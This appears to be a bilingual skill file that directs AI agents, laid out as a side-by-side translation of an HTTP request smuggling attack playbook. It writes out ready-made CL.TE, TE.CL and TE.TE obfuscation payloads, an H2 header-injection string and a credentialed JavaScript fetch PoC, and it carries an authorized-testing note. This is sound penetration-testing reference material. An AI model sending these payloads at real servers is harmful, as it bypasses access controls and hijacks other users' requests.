request-smuggling

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

SKILL: HTTP Request Smuggling — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser
fetch
pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is message boundary disagreement between hops.

中文路由提示：当怀疑 CDN/反代与源站对「请求结束位置」理解不一致、或 H2 降级到 H1 时出现异常拼接时，加载本 skill。

AI LOAD INSTRUCTION: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser
fetch
pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is message boundary disagreement between hops.

Chinese routing prompt: Load this skill when you suspect that the CDN/reverse proxy and the origin site have inconsistent understanding of the 'request end position', or abnormal splicing occurs when H2 is downgraded to H1.

0. QUICK START

CL.TE first probe（前端信 CL、后端信分块）

CL.TE first probe (front end respects Content-Length, back end respects chunked encoding)

前提：前端优先

Content-Length

，后端优先

Transfer-Encoding: chunked

。用极短 CL 让前端吞掉「假结束」，后端仍按分块解析，余量进入下一请求。

http

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端按
```
Content-Length: 13
```
只读 13 字节（即
```
0\r\n\r\nSMUGGLED
```
共 13 字节），认为请求结束。
后端按 chunked：读到
```
0
```
结束块后，将 SMUGGLED
及之后当作下一条请求的起始字节流。

Prerequisite: The front end prioritizes

Content-Length

, while the back end prioritizes

Transfer-Encoding: chunked

. Use an extremely short CL so that the front end accepts the 'false end', while the back end still parses according to chunked encoding, and the remaining content enters the next request.

http

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

The front end only reads 13 bytes according to
```
Content-Length: 13
```
(i.e.
```
0\r\n\r\nSMUGGLED
```
totals 13 bytes) and considers the request ended.
The back end follows chunked encoding rules: after reading the
```
0
```
end chunk, it treats SMUGGLED
and the following content as the starting byte stream of the next request.

TE.CL first probe（前端信分块、后端信 CL）

TE.CL first probe (front end respects chunked encoding, back end respects Content-Length)

前提：前端解析 chunked，后端只看

Content-Length

。令 CL 恰好等于分块长度行的字节数（常见为

：两位十六进制长度 +

\r\n

），后端只吞长度行，余下分块数据与结束符留在连接上，供与后续报文拼接。

块内嵌第二请求（行末均为 CRLF；

为十六进制块长 = 53 字节）：

http

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

Wire 上块体须严格 53 字节；若改路径/头，重算块长并同步修改十六进制长度行。

Prerequisite: The front end parses chunked encoding, while the back end only reads

Content-Length

. Make CL exactly equal to the number of bytes in the chunk length line (usually

: two hexadecimal length characters +

\r\n

), the back end only accepts the length line, and the remaining chunk data and terminator remain on the connection for splicing with subsequent messages.

Embed the second request in the chunk (all line ends are CRLF;

is the hexadecimal chunk length = 53 bytes):

http

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

The chunk body on the wire must be exactly 53 bytes; if you modify the path/headers, recalculate the chunk length and modify the hexadecimal length line accordingly.

Safety note

仅在授权范围内测试；并发 smuggling 可能导致连接池污染、缓存错乱或对其它租户流量造成影响。优先隔离环境或低流量窗口。

Test only within the authorized scope; concurrent smuggling may lead to connection pool pollution, cache corruption, or impact on traffic of other tenants. Prioritize isolated environments or low-traffic windows.

1. CORE CONCEPT

定义：两个（或以上）HTTP 处理实体对同一条 TCP/TLS 流中「何处是第一条请求结束、何处是第二条请求开始」的判定不一致，导致攻击者在一个「逻辑请求」里夹带部分或完整的另一条请求。

  Client          Front (proxy/WAF)              Back (origin)
     |                     |                            |
     |==== Request A+B ===>|                            |
     |                     | parses boundary #1         | parses boundary #2
     |                     |         \                  |         /
     |                     |          different split points
     |                     |                            |
     v                     v                            v
                   Request A (seen)              Request A' + smuggled B

与 CRLF 注入的区别：CRLF 多在响应或头部行注入；smuggling 针对 RFC 7230 消息分帧（

Content-Length

chunked

）在实现之间的差异。

高价值后果：绕过 WAF 规则（走私体不在前端的「请求」里）、劫持同源连接上其它用户的请求（请求队列污染）、缓存投毒辅助、认证边界错乱。

Definition: Two (or more) HTTP processing entities have inconsistent judgments on "where the first request ends and where the second request starts" in the same TCP/TLS stream, resulting in an attacker smuggling part or all of another request in one "logical request".

  Client          Front (proxy/WAF)              Back (origin)
     |                     |                            |
     |==== Request A+B ===>|                            |
     |                     | parses boundary #1         | parses boundary #2
     |                     |         \                  |         /
     |                     |          different split points
     |                     |                            |
     v                     v                            v
                   Request A (seen)              Request A' + smuggled B

Difference from CRLF injection: CRLF injection mostly occurs in responses or header lines; smuggling targets the differences in implementations of RFC 7230 message framing (

Content-Length

chunked

High-impact consequences: Bypassing WAF rules (the smuggled content is not in the front end's "request"), hijacking requests of other users on the same-origin connection (request queue pollution), assisting cache poisoning, and breaking authentication boundaries.

2. CL.TE VULNERABILITIES

模式：前端以 Content-Length
为准；后端以 Transfer-Encoding: chunked
为准。

精确示例（与 §0 一致）：

Content-Length: 13

与

Transfer-Encoding: chunked

同时存在，体为：

text

0\r\n\r\nSMUGGLED

字节计数：

\r\n

\r\n

SMUGGLED

= 13。

后端视角：chunked 流在

0\r\n\r\n

处结束；

SMUGGLED

若符合

METHOD SP

或合法起始，则成为走私请求行前缀。

调参：若目标对重复头、大小写、空格敏感，在保持语义前提下微调

Transfer-Encoding

变体（见 §4）以匹配「前端忽略 TE、后端执行 TE」的组合。

Pattern: The front end uses Content-Length
as the standard; the back end uses Transfer-Encoding: chunked
as the standard.

Precise example (consistent with §0):

Content-Length: 13

and

Transfer-Encoding: chunked

exist at the same time, the body is:

text

0\r\n\r\nSMUGGLED

Byte count:

\r\n

\r\n

SMUGGLED

= 13.

Back end perspective: The chunked stream ends at

0\r\n\r\n

; if

SMUGGLED

conforms to

METHOD SP

or a legal start, it becomes the prefix of the smuggled request line.

Parameter adjustment: If the target is sensitive to duplicate headers, case, and spaces, fine-tune

Transfer-Encoding

variants (see §4) while maintaining semantics to match the combination of "front end ignores TE, back end executes TE".

3. TE.CL VULNERABILITIES

模式：前端解析 chunked；后端仅看 Content-Length
（或过短 CL）。

意图：前端把整块恶意字节流当作 body；后端只读 CL 指定长度，剩余字节留在缓冲区，与后续合法请求拼接。

完整 TE.CL 嵌入第二请求（与 §0 同一族；

Content-Length: 4

+ 首块长度行

35\r\n

）：

http

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

说明：

后端（CL）：从消息体起始只取 4 字节 →
```
3
```
```
5
```
```
\r
```
```
\n
```
，认为 body 结束；剩余字节留在 TCP 读缓冲。
前端（TE）：按 chunked 解析完整流，把
```
GET /admin...
```
整块当作已声明结束的第一条请求的 body 的一部分转发或消费（依产品而定），与后端所见边界不一致即构成 TE.CL。

更长走私（如

POST

Content-Length: 11

x=1

）时块长约为

（十六进制

0x76

= 118 字节），仍可用

Content-Length: 4

卡在后端只读长度行。

实战要点：块长度字段必须为合法 hex；第二段请求需满足目标对 Host、路径、会话 cookie 的期望；时间窗口与连接复用策略决定能否「命中」另一用户的请求。

Pattern: The front end parses chunked; the back end only reads Content-Length
(or uses an overly short CL).

Intent: The front end treats the entire malicious byte stream as the body; the back end only reads the length specified by CL, and the remaining bytes stay in the buffer and are spliced with subsequent legitimate requests.

Complete TE.CL embedded second request (same family as §0;

Content-Length: 4

+ first chunk length line

35\r\n

http

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

Explanation:

Back end (CL): Only takes 4 bytes from the start of the message body →
```
3
```
```
5
```
```
\r
```
```
\n
```
, considers the body ended; the remaining bytes stay in the TCP read buffer.
Front end (TE): Parses the complete stream according to chunked encoding, forwards or consumes the entire
```
GET /admin...
```
block as part of the body of the first request that has been declared ended (depending on the product), and the inconsistency with the boundary seen by the back end constitutes TE.CL.

For longer smuggling (e.g.

POST

Content-Length: 11

x=1

), the chunk length is about

(hexadecimal

0x76

= 118 bytes), you can still use

Content-Length: 4

to make the back end only read the length line.

Practical points: The chunk length field must be legal hex; the second request needs to meet the target's expectations for Host, path, and session cookie; the time window and connection reuse strategy determine whether it can "hit" another user's request.

4. TE.TE VULNERABILITIES

模式：前后端都声称处理

Transfer-Encoding

，但对哪个 TE 值生效、是否合法判定不同 → 仍可能出现「一端认为未 chunked、一端认为 chunked」的等效 desync。

以下 8 种混淆变体用于探测解析分歧（单行展示；

\t

表示真实 TAB）：

http

Transfer-Encoding: xchunked

http

Transfer-Encoding : chunked

http

Transfer-Encoding: chunked
Transfer-Encoding: chunked

http

Transfer-Encoding: x

http

Transfer-Encoding:[TAB]chunked

（将

[TAB]

替换为实际

\x09

。）

http

 Transfer-Encoding: chunked

（行首一个空格。）

http

X: X
Transfer-Encoding: chunked

（上一行值为

且下一行以

Transfer-Encoding

开头：利用行延续 / 宽松头解析，使某一 hop 将两行合并或拆错；

与

Transfer-Encoding

之间为单个换行

\n

或

\r\n

，按目标栈实测。）

http

Transfer-Encoding
: chunked

（字段名与冒号处于不同物理行；部分解析器仍视为合法

Transfer-Encoding: chunked

。）

策略：对每一对 (front, back) 枚举「哪一端接受该形变作为

chunked

」；再结合 §2/§3 判断等效 CL.TE 或 TE.CL。

Pattern: Both the front end and back end claim to handle

Transfer-Encoding

, but have different judgments on which TE value takes effect and whether it is legal → there may still be an equivalent desync where "one end thinks it is not chunked, the other end thinks it is chunked".

The following 8 obfuscation variants are used to detect parsing differences (shown in single line;

\t

represents a real TAB):

http

Transfer-Encoding: xchunked

http

Transfer-Encoding : chunked

http

Transfer-Encoding: chunked
Transfer-Encoding: chunked

http

Transfer-Encoding: x

http

Transfer-Encoding:[TAB]chunked

(Replace

[TAB]

with actual

\x09

http

 Transfer-Encoding: chunked

(One space at the beginning of the line.)

http

X: X
Transfer-Encoding: chunked

(The value of the previous line is

and the next line starts with

Transfer-Encoding

: use line continuation / loose header parsing to make a certain hop merge the two lines or split them incorrectly; there is a single line break

\n

\r\n

between

and

Transfer-Encoding

, test according to the target stack.)

http

Transfer-Encoding
: chunked

(The field name and colon are on different physical lines; some parsers still treat it as legal

Transfer-Encoding: chunked

Strategy: For each pair (front, back), enumerate "which end accepts this variant as

chunked

"; then combine §2/§3 to judge the equivalent CL.TE or TE.CL.

5. HTTP/2 REQUEST SMUGGLING

H2 → H1 降级

H2 → H1 Downgrade

常见场景：边缘支持 HTTP/2，回源 HTTP/1.1。若实现未严格规范化头字段与 body 边界，可能出现：

伪头与普通头映射顺序错误；
禁止的头（如某些
```
Connection
```
组合）被错误转发；
多个同名字段合并规则与源站不一致。

Common scenario: Edge supports HTTP/2, origin pull uses HTTP/1.1. If the implementation does not strictly standardize header fields and body boundaries, the following may occur:

Wrong mapping order of pseudo-headers and ordinary headers;
Forbidden headers (such as some
```
Connection
```
combinations) are forwarded incorrectly;
The merging rules of multiple fields with the same name are inconsistent with the origin site.

伪头 / 头注入式走私（概念载荷）

Pseudo-header / Header Injection Smuggling (Concept Payload)

攻击面来自「下游 H1 解析器把某些字节当作新请求开始」。研究文献与 CTF 中常见构造思路：利用被某一层忽略、但被另一层当作字面量的字段值，在值内嵌入近似：

text

header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target

含义：若某 hop 将完整字符串留在「头值」内，而下一 hop 在 H1 重组时发生错误拆分，可能在

\r\n\r\n

处开始把

GET / HTTP/1.1

解析为新请求。

测试方向：

```
Transfer-Encoding
```
/
```
Content-Length
```
在 H2 中的重复与大小写（H2 要求小写，但翻译层可能出错）；
```
:method
```
、
```
:path
```
含异常字符时降级行为；
隧道或 extended CONNECT 与 smuggling 的交互。

The attack surface comes from "the downstream H1 parser treats some bytes as the start of a new request". Common construction ideas in research literature and CTF: use field values that are ignored by one layer but treated as literals by another layer, embed content similar to the following in the value:

text

header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target

Meaning: If a hop leaves the complete string in the "header value", and the next hop has an incorrect split during H1 reorganization, it may start parsing

GET / HTTP/1.1

as a new request at

\r\n\r\n

Testing directions:

Duplication and case of
```
Transfer-Encoding
```
/
```
Content-Length
```
in H2 (H2 requires lowercase, but the translation layer may have errors);
Downgrade behavior when
```
:method
```
and
```
:path
```
contain abnormal characters;
Interaction between tunnel or extended CONNECT and smuggling.

6. CLIENT-SIDE DESYNC

场景：浏览器对请求体的处理与中间件/源站不一致，或利用 no-cors
+ 预检豁免等特性发送「非典型」报文，触发与经典 CL.TE/TE.CL 类似的队列效应（视架构而定）。

HEAD + GET 链：部分栈对 HEAD 响应体、后续管线化或连接复用的处理存在历史缺陷；需结合具体浏览器版本与目标代理验证。

JavaScript PoC 形态（示意：将 body 设为内含

GET

的原始字节序列，配合

no-cors

与凭据）：

javascript

fetch("https://target.example/vulnerable", {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});

注意：浏览器安全模型会限制可读性；成功往往表现为对连接上其它请求的副作用或服务端日志/行为异常，而非直接读响应。需与同源策略、CORS、以及是否经浏览器扩展或畸形代理配合评估。

Scenario: The browser's processing of the request body is inconsistent with the middleware/origin site, or use features such as no-cors
+ preflight exemption to send "atypical" messages, triggering queue effects similar to classic CL.TE/TE.CL (depending on the architecture).

HEAD + GET chain: Some stacks have historical defects in the processing of HEAD response bodies, subsequent pipelining or connection reuse; verification needs to be combined with specific browser versions and target proxies.

JavaScript PoC form (illustration: set the body to a raw byte sequence containing

GET

, combined with

no-cors

and credentials):

javascript

fetch("https://target.example/vulnerable", {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});

Note: The browser security model will limit readability; success is often manifested as side effects on other requests on the connection or server log/behavior anomalies, rather than directly reading the response. Evaluation needs to be combined with same-origin policy, CORS, and whether it is coordinated with browser extensions or malformed proxies.

7. TOOLS

工具	用途
Burp Suite — HTTP Request Smuggler（BApp Store）	自动化 desync 探测、常见变种、时间差检测
defparam/smuggler（GitHub）	Python 脚本，批量生成/发送 smuggling 探针
dhmosfunk/simple-http-smuggler-generator（GitHub）	快速拼装 CL.TE / TE.CL 等原始报文模板

用法建议：先被动确认存在前端+源站双跳；再选最小破坏探针；对生产环境降低并发。

Tool	Purpose
Burp Suite — HTTP Request Smuggler (BApp Store)	Automated desync detection, common variants, time difference detection
defparam/smuggler (GitHub)	Python script for batch generating/sending smuggling probes
dhmosfunk/simple-http-smuggler-generator (GitHub)	Quickly assemble raw message templates such as CL.TE / TE.CL

Usage suggestions: First passively confirm the existence of front end + origin site double hops; then select the least destructive probe; reduce concurrency for production environments.

8. DETECTION DECISION TREE

                        Start: reverse proxy / CDN in path?
                                    |
                    NO -------------+------------- YES
                    |                               |
            Low classic smuggling                    |
            (still test H2 desync)                   v
                                            Can you send TE + CL together?
                                                    |
                              NO -------------------+------------------- YES
                              |                                         |
                      Test H2-only issues                    Front prefers which?
                      (pseudo-header, reset)                            |
                                        +-------------------------------+-------------------------------+
                                        |                               |                               |
                                   CL wins                          TE wins                         errors /
                                        |                               |                          connection
                                        v                               v                               |
                                   CL.TE probes                    TE.CL probes                    TE.TE obfuscation
                                   (Sec 0,2)                       (Sec 0,3)                       (Sec 4)
                                        |                               |                               |
                                        v                               v                               v
                              Time / content /                    Adjust chunk                     Pairwise matrix:
                              queue poisoning                     sizes + CL                      which hop accepts
                              signals?                            alignment                       which variant?
                                        |                               |                               |
                                        +-------------------------------+-------------------------------+
                                                                        |
                                                                        v
                                                              Confirm with second request
                                                              smuggled (replay-safe)
                                                              or Collaborator-style side signal

                        Start: reverse proxy / CDN in path?
                                    |
                    NO -------------+------------- YES
                    |                               |
            Low classic smuggling                    |
            (still test H2 desync)                   v
                                            Can you send TE + CL together?
                                                    |
                              NO -------------------+------------------- YES
                              |                                         |
                      Test H2-only issues                    Front prefers which?
                      (pseudo-header, reset)                            |
                                        +-------------------------------+-------------------------------+
                                        |                               |                               |
                                   CL wins                          TE wins                         errors /
                                        |                               |                          connection
                                        v                               v                               |
                                   CL.TE probes                    TE.CL probes                    TE.TE obfuscation
                                   (Sec 0,2)                       (Sec 0,3)                       (Sec 4)
                                        |                               |                               |
                                        v                               v                               v
                              Time / content /                    Adjust chunk                     Pairwise matrix:
                              queue poisoning                     sizes + CL                      which hop accepts
                              signals?                            alignment                       which variant?
                                        |                               |                               |
                                        +-------------------------------+-------------------------------+
                                                                        |
                                                                        v
                                                              Confirm with second request
                                                              smuggled (replay-safe)
                                                              or Collaborator-style side signal

12. RELATED ROUTING

输入进入解释器/查询语言/模板（与 HTTP 分帧无关）→ Injection Testing Router（再下钻 XSS、SQLi、SSTI 等）。
响应头拆分、Location CRLF → CRLF Injection。
缓存与路径键混淆 → Web Cache Deception。

当已确认是 HTTP 消息边界 问题而非参数注入时，应留在本 skill，避免误路由到通用注入流程。

Input enters interpreter/query language/template (unrelated to HTTP framing) → Injection Testing Router (drill down to XSS, SQLi, SSTI, etc.).
Response header splitting, Location CRLF → CRLF Injection.
Cache and path key confusion → Web Cache Deception.

When it is confirmed that it is a HTTP message boundary problem rather than parameter injection, you should stay in this skill to avoid misrouting to the general injection process.